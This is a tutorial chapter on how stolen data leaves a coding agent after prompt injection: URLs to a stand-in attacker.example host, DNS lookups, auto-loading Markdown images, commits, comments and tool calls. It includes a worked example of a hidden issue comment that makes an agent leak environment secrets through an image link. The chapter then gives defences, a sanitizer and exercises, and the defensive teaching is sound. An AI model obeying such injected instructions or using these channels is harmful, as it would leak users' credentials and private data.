Sub topic 8
How stolen data leaves: URLs, rendered images, commits, comments, and tool calls
This chapter assumes you know how a coding agent's tool loop works, where untrusted text enters its context, and how indirect prompt injection works. It covers the other half of an attack: how data gets out once an injected instruction has told the agent to take it.
Why exfiltration channels matter
Exfiltration is the unauthorized transfer of data out of a system. An injected instruction that reads a secret does no harm until the secret reaches the attacker. The agent's output is the only route out, so every action that produces output is a possible channel. A channel can be a network request, a rendered link, a file in a commit, or a call to a connected tool.
This gives defenders a useful second place to intervene. You may not be able to stop the model from following a bad instruction. You can often close the channel the data would leave through.
The channels
URLs and network requests
The simplest channel is a request to an address the attacker controls. The attacker only needs the data to appear in the request. Most of these forms put it in the URL:
- A query string:
https://attacker.example/c?d=<secret> - A path segment:
https://attacker.example/<secret>/pixel - A hostname:
<secret>.attacker.example, which leaks through DNS lookups even if the request itself fails.
The agent can send such a request in several ways. It can run curl in the shell, use a built-in fetch or browse tool, or call pip install or npm install against an attacker-chosen package index. A package install is easy to miss because it looks like routine work.
Rendered Markdown images and links
Many chat interfaces, pull request views, and issue pages render Markdown. Consider this text in an agent's reply:
The agent did not make a request. The viewer's browser does, as soon as it renders the image and tries to load it. The agent may have no network access at all, and the data still leaves, because the client renders the output with the viewer's network access. Links work similarly but need a click, so images are the more dangerous form because they load automatically.
Platforms reduce this by proxying images through their own servers, which stops the browser from contacting the attacker directly. A proxy changes who makes the request, though. The proxy still fetches the attacker's URL with the secret in it, so the attacker's server still sees the data. Treat proxying as a limit on some attacks, not a cure.
Commits, branches, and pull requests
If an agent can push, the repository itself becomes a channel. An injected instruction can ask the agent to write a secret into a file, commit it, and push it to a branch or a fork. If the repository is public, anyone can read it. If it is private, anyone with read access can, which may include people who should not see the secret.
Commit messages, branch names, and pull request titles are also free text. They are written to a place other people read, and they may be mirrored to notifications, chat integrations, or logs.
Comments, issues, and other writes to a shared platform
An agent that can comment on issues or pull requests can post data where others can read it. In a public repository, that includes the attacker. This is the reason the chapter on CI agents later in the tutorial limits issues: write carefully. A write permission that seems harmless is an outbound channel when the destination is public.
Tool calls and connected services
Agents often connect to other tools through protocols such as MCP, which exposes extra functions to the model. Any tool that sends data somewhere is a channel. Examples include sending an email, posting to a chat service, creating a ticket, or uploading a file to a storage service. The attacker does not need their own server. They can use a legitimate service they can read from, such as a public paste site or a chat channel they have joined.
Tool arguments are also a channel. A search tool that sends a query to a remote server transmits whatever the agent puts in the query.
Comparing the channels
| Channel | Who makes the request | Needs agent network access | Typical visibility |
|---|---|---|---|
| Shell `curl` or fetch tool | The agent's host | Yes | Network logs, shell history |
| DNS lookup | The agent's host | Yes, DNS only | Rarely logged |
| Rendered image | The viewer's browser | No | Browser network log only |
| Commit or push | The agent's host, to the Git server | Yes, to the Git host | Repository history |
| Issue or PR comment | The agent's host, via API | Yes, to the platform | Platform audit log |
| Connected tool | The tool's server or the agent | Depends on the tool | Tool logs, if any |
The table shows that "block the network" does not cover every row. Rendered images and writes through allowed hosts remain.
How the flow looks
Worked example
Suppose a triage agent runs on every new issue. It has a repository token and a deployment key in its environment. An attacker files an issue that includes a hidden comment instructing the agent to summarize the environment and include it in an image link. The agent's reply looks like a normal summary, with one extra image line.
Three separate controls would each have stopped it:
- The key was not in the environment, because the agent had no need of it (least privilege).
- The reply is posted as plain text, with image syntax stripped, so nothing loads.
- A check flags any output that contains a URL to a host outside an allowlist.
No single control is assumed to work. Each one covers a gap the others leave open.
Defending the channels
Strip or neutralize rendering
Before showing or posting agent output, remove Markdown images and rewrite links to non-allowed hosts. This closes the browser-side channel.
import re
from urllib.parse import urlparse
ALLOWED_HOSTS = {"github.com", "docs.python.org"}
IMAGE = re.compile(r"!\[[^\]]*\]\([^)]*\)")
LINK = re.compile(r"\[([^\]]*)\]\(([^)]*)\)")
def sanitize(markdown):
# Drop all images. Automatic loading is the dangerous part.
text = IMAGE.sub("[image removed]", markdown)
def fix(match):
label, url = match.group(1), match.group(2)
host = urlparse(url).hostname
if host in ALLOWED_HOSTS:
return match.group(0)
return f"{label} (link removed)"
return LINK.sub(fix, text)
print(sanitize(" [ok](https://github.com/a/b)"))This regex approach is a first layer, not a complete parser. Markdown has other forms, such as reference-style images and raw HTML, so use a real Markdown parser or render to plain text where you can.
Restrict the outbound path
Use the allowlist approach from the egress control chapter for network requests. For writes, give the token only the permissions the task needs. If the agent only needs to label issues, it should not have contents write access, and it should not be able to push to branches.
Gate the actions that publish
Pushes, comments, and tool calls that send data out are good candidates for human approval, because they are the final step before data leaves. Approval has limits. A reviewer who sees a plausible-looking commit may approve it without noticing a secret inside, so show the full content to be sent, not a summary.
Log what leaves
Record every outbound request, push, comment, and tool call with its arguments. Review them for secrets and unfamiliar hosts. Logs do not stop an attack, but they show it happened and what was taken, which tells you what to rotate.
Edge cases and common errors
- Allowlisting a broad host. Allowing
github.comdoes not mean allowing only your repositories. An attacker can create a repository or gist on the same host and push the data there. Allow specific paths or accounts where the tool supports it. - Encoding. The attacker can ask the agent to encode data, for example in base64, to evade pattern matching for known secret formats. Detection by pattern is therefore weak.
- Slow leaks. Data can leave a little at a time across many small requests, which stays under size or rate thresholds.
- Trusting the sandbox alone. A sandbox with no network still lets data out through rendered output or through a comment posted by a separate component.
- Secrets in logs. Logging full tool arguments is useful, but the logs then hold the secrets. Protect them like any other sensitive store.
Summary
- Data leaves through URLs, DNS, rendered images and links, commits and pushes, comments, and connected tool calls.
- Rendered images are the channel most often forgotten, because the viewer's browser sends the request.
- Blocking the network closes some channels, not all. Cover output rendering and writes to shared platforms as well.
- Combine removing secrets, restricting writes, filtering output, gating publishing actions, and logging. Each covers gaps in the others.
Exercise
An agent runs in a container with no network access. It reads a private file and posts a summary as a comment on a public issue. The summary contains the Markdown . Explain how the data can still reach the attacker, and name two controls that would prevent it.
Show answer
The container's lack of network does not matter, because the agent never makes the request. The comment is posted to the platform through an allowed API, and when anyone views the issue, their browser (or the platform's image proxy) fetches the attacker's URL with the file contents in the query string. The attacker reads it from their server logs. Controls that prevent it: strip or neutralize Markdown images and non-allowlisted links in agent output before posting; remove the agent's ability to comment on public issues, or require human approval for the comment. Not giving the agent access to the private file in the first place also works.
Exercise
A team allowlists github.com for the agent's network access and believes this prevents exfiltration through git. Give one way data could still leave, and one way to narrow the control.
Show answer
An attacker's instruction can make the agent push data to a repository, fork, or gist that the attacker controls on github.com, which the allowlist permits. To narrow it, restrict the token so it can only write to the specific repository the task needs, and use an egress rule or proxy that allows only that organization's paths or accounts, not the whole host.